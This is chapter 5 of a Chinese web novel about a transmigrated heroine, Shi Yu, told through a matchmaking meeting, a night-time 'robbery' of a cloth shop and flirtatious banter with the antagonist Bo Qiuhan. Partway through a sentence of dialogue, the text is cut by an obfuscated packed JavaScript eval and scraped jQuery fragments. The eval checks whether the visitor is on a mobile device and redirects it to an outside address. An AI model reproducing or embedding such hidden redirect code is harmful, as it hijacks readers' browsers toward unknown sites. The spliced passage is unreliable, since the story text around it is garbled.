5. 心善

作品:《穿书后被病娇反攻略了

    “来,见过褚夫人。”李氏嘴角含笑。


    她身旁,施芙珠端庄大方,施苓伶俐活泼,两人问完安后,一左一右在李氏身侧,和谐得像一幅画。


    施妤如一道影子,落在几人身后几丈处。


    寒暄完毕,施苓活泼笑语,立即响起:“刚若不是婶子一说,我还以为是哪来的神仙妃子,不愧是您,能生养出褚二公子这般芝兰玉树的人物。”


    “这滑头,”李氏一笑,看向王氏:“我家这姑娘性子直率,无甚城府,不似芙珠,夫人勿怪。”


    施芙珠在一旁含笑,话题又转到她身上。


    毕竟施芙珠,是京都出了名的大家闺秀,佳媳模范。都言一家好女百家求,她亲事一退,李氏可没少收到其他人家的帖子。


    “有福之女不入无福之门,哪是四姑娘的错?”


    王氏笑罢,这才慢腾腾将目光移向在后方一直未吭声的施妤。


    她虽仍笑着,但细看,眸中笑意一下淡了下来。


    李氏见状,倒暗窃喜。


    “瞧我这记性!该打,该打!”


    她嘴角笑意深了,“五姐儿,还不过来见过褚夫人?你也真是,大大方方过来问安便是了。夫人又不是外人,你这模样,将来出阁了如何能执一府中馈?”


    寻常人家聘妇,尚看是否能行事,更何况权宦人家?


    京都近来出了两起姊妹替嫁的事,李氏这话一出,她的意思,施妤一下明了。


    依言上前问好,王氏淡淡抬手,丝毫不见之前热络。


    她身侧两老嬷嬷,目光似刀,从施妤身上刮过。


    气氛稍显冷凝,施苓眼珠子一转:“夫人我近来听了一件怪事,您别见怪,褚二公子……可有双生胞弟?”


    这话一出,方稍显冷场的香室,骤然冷凝。


    李氏慌忙打圆场:“这丫头也是无状惯了。不过也是,二公子好事将近,若真有胞弟,那三公子可定了?”


    李氏自动将薄秋寒在褚府的序排了。


    王氏淡淡瞥了她一眼,许久,才微微叹了一口气:“儿女,都是债。”


    “是该议了。”她道。


    李氏见状,抬眸即和施苓对上眼,两人俱喜。


    就这么,几人你一眼我一语,又寒暄起来。


    好讽刺……


    施妤垂眸,内心恶心感翻滚。


    薄秋寒现在还在她那宅子里住着,吃不饱,睡不暖。脖颈上的伤,还不知道好没好。


    这个世上跟他血脉最亲的人,尚能在这般如无事发生般,同其他贵妇你来我往。


    这些人,真的关切过那个出生就险些被掐死的小生命么?


    知晓薄秋寒这个名姓的由来,知晓他的那些不为人知的过往?


    以前视人如弃子,现在仗其在皇位上那人面前的体面,想薄秋寒娶妻生子,为褚府光耀门楣。哪想得这么美呢?


    薄秋寒艳丽又黏人的模样,在施妤脑子里一闪而过。


    仿若有双亮晶晶的眸在盯着自己一般,施妤捏了捏兜中沉甸甸二十两纹银,敛下眼皮。


    一旁施芙珠将一切收于眼底,缄口不言。


    施苓嬉语中往施妤所在处瞄了一眼,面露不屑。


    -


    “咚咚——”


    “这大半夜的,谁呀!”


    布行掌柜史贵睡眼朦胧,带着被吵醒的不悦推开门。


    门刚开,一柄匕首横在他喉口处:“别出声,买点东西。”


    低沉的威胁声响起,史贵冷汗直流,瞬间清醒。


    要死,几日前,京兆府尹都遭了贼手,这下怕是小命不保!


    史贵两股战战,按蒙面黑衣女子的要求,找起料子来。


    “就这?”


    施妤匕首往史贵脖颈子一横,声音幽狠。


    “真的都在这了,女侠!我哪敢欺您?”


    史贵盯着他压箱底的物什,眼泪都快冒出来了。


    绿嘴红纹鸳鸯被,红纱帐,绯红烫金云锦袍……


    施妤收刀,双手交叉环抱在胸前。


    她怎么看,都没觉得这是寻常用物。倒……像极了哪家成亲,要置办的嫁妆?


    疑惑脱口而出。


    史贵含泪:“真就这些,我这儿又不是珍宝阁,哪有那么多珍贵物件?就这件,还是老朽好不容易定下来的,是苏绣,王孙贵子都用得。”


    这厮哭的实在不像样,施妤摸了摸下巴:“那行。”


    她看向镇店之宝的方向:“那这白狐大氅?”


    “给,都给。就当孝敬您了。”


    史贵心在滴血,做好用钱买命的准备。


    孰料匕首冷光闪过,他掌心出现二十两银。


    “喂,掌柜的,在下不欠人,少的银必尽快补上。”


    “啊?还来……”


    史贵怔怔,望着施妤消失的方位喃喃道。


    夜色如墨,一个芝麻大小黑点,飞速从瓦上飞过。


    咯吱——落雪轻响。


    乌水巷到了。


    施妤背着大包袱,看檐下灯笼随风微晃,那抹有点冷的光,在这个寒意中,竟无端多了几丝莹润的暖意。


    她以前从没有这种经验。


    载入的结点,直接是剧情起点。攻略任务,也是按部就班,只需要全身心在完成任务上,其他不需要多想。


    即使剧情狗血、脑残,被虐身虐心,但这些在施妤心中仍然泛不起丝毫涟漪。


    奇怪的是,这个冬夜,她望着光秃秃一只普通又寻常的灯笼,竟心生一种有了归处之感。


    施妤垂眸,没再细看了。


    屋内油灯昏暗,进门一股暖意。


    角落里都放置了炭盆,炭有些燃尽,需要加了。


    施妤眼风扫过,瞥过那个容色艳绝的青年郎君,书里的病娇反派,面目乖顺,正睡在临窗大炕小几上。


    他还是那身薄薄的雪色寝衣。


    手中抱着一件绣花斗篷,当宝似的,脸埋在里面,一头乌黑冰凉的发露在外面。


    也不怕着凉。


    施妤暗自在心中腹诽,说完后,包裹放到一旁,向暖炕走去。


    薄秋寒仍在睡。


    他背对着她,露出脖颈上那一圈褐青麻布。麻布条细细的,垂在薄秋寒清瘦的背脊上。


    眉眼阖上,嘴不说话,确实看上去顺眼许多。


    一抹笑意自施妤嘴角闪过。


    她俯下身子,将他贴在脸颊上的发,拨了拨,露出好看的侧脸。


    薄秋寒还没醒,许是暖炕上没那么冷,原本苍白无甚雪色的脸,带了点粉,愈发艳得惊人。


    施妤定了定后,犹豫两下,想到这人的破身子,没法,只得又低了两寸,手准备从薄秋寒腰腹间穿过。


    抱到床上去,免得着凉。


    这般动作,两人离得很近,脸贴脸,唇齿间呼吸的热气,都快打到另一个人面上了。


    施妤没看薄秋寒,注意力全在自己小心翼翼,准备抱人的手上。


    “想亲我?”


    薄秋寒眼皮蓦地一睁,眸亮得惊人,似笑非笑。


    施妤见状,像踩了脚般立马起身:“没。”


    见薄秋寒面色古怪,她又补充道:“病了在下可没银钱赔。公子还是少自作多情。”


    施妤难得跟薄秋寒说这么一长串。


    要知道,先前她可是武艺高强、能一VS褚府众护卫的形象。


    薄秋寒唇一勾,声音却越发低了:“在薄某面前,姑娘何不坦诚一些?你是个心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991758|193742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    狠手辣,喜欢偷香窃玉、辣手摧花的女盗,在下又不是不知。”


    “薄某承认自己生的好,惹得连你这等人物,也心生觊觎。罢了罢了,”他连连叹气,“既姑娘掠了我来,那你要轻薄就轻薄吧,反正在下的清白……可一而再再而三被姑娘糟蹋了。”


    “冷死你算了。”


    施妤转身即走,耳根子通红。


    偏生这时,一只施妤从未防备的手,拽住她的手臂。


    身子一转,从黑巾处传来轻轻一碰。轻得如蜻蜓点水一般,却在常年无波的寒潭上泛起一圈又一圈的涟漪。


    施妤愣在当地,抓耳的男声却笑得越发勾人。


    “薄某心善,这次就如姑娘愿。”


    他抽身往后挪去,骨节分明的手却一下又一下,当着施妤的面,拢起他常年大敞的寝衣领口来。


    向来无甚的气氛忽地起了一丝暧昧。


    “这是在作甚?”


    正当两人僵持间,桉岚嗖一声,又从房梁上倒吊往下,露出一张狰狞鬼面:“妤姐吃卤猪蹄不?我今儿买了些下酒卤菜,就等你来。”


    “姐你再下两碗面,咱好好过个腊八。”


    闻言,施妤二话没说,抬脚就往屋外走。


    “喂——”薄秋寒的声音,遥遥在身后传来。


    “还有薄某。”


    舌头从齿面扫过,他话音带着刻意的引诱:“毕竟,在下和姑娘那事都做了,姑娘不会一碗面都舍不得吧?”


    “滚!”槅扇门被关得扑通重响。


    门外,桉岚还在追着施妤问什么事什么事。


    施妤,不想理他。


    厨房,热气折腾。


    施妤立在灶台前发怔,她感觉哪里有些不太对劲,可又说不上来。


    白日间的一幕幕,在她眼前浮现。


    按理今日,她应该和男主褚怀瑾相看亲事。这个节点,关键剧情也应该触发了。


    谁料,和褚夫人一通剧情,在她都等得有些不耐之际,一小厮过来了。


    说褚怀瑾被十三皇子叫去手谈,来寺途中车架又出了问题,估摸会误了时辰,让王氏裁夺。


    王氏还能怎么裁夺?


    何况,又有个巴不得亲事不成的李氏在旁,故而,要明日,施妤才能见着褚怀瑾的面。


    日头深了,雪也大了。


    施妤这才借此机,来乌水巷一趟。


    明日正式走剧情,还不知道后面几日这儿有没有空。


    得想个法子让薄秋寒这家伙,厌世值再降低一点。


    她点开系统面板,看到眼前【厌世值,98】的提示,暗自思索。


    “那人什么来头,我都没怎么吃过你做的饭。怎么那家伙一来,吃你的,穿你的,还要你伺候?”


    “呵,无耻的小白脸。”


    一颗头又从梁上冒出头来,桉岚语中一股他没察觉到的酸意。


    施妤眼前少年一张清秀的脸,内心一股软意。


    不知什么时候起,他偶尔在她面前就不戴面具了。两人相识近三年,起先为了一株伤药,不打不相识。


    后又因都有求于双方,就这么相处起来。


    这宅子,桉岚来去自由,也是桉岚的安生之所。施妤不问桉岚过去,但想也想得到,半大点孩子,就这样一副装扮在江湖行走,过的也是刀尖舔血的日子。


    才十六,还是个孩子呢……


    清浅笑意从施妤面上浮现,她从锅里泛着热气的面条,一筷筷往碗内夹。


    “嗯。”她应了一声。


    “嗯?嗯什么?”


    “什么意思?”


    “我在你心中,难道还不如那野男人小白脸?”


    桉岚瞬间炸了,从梁上飞下,来到施妤跟前。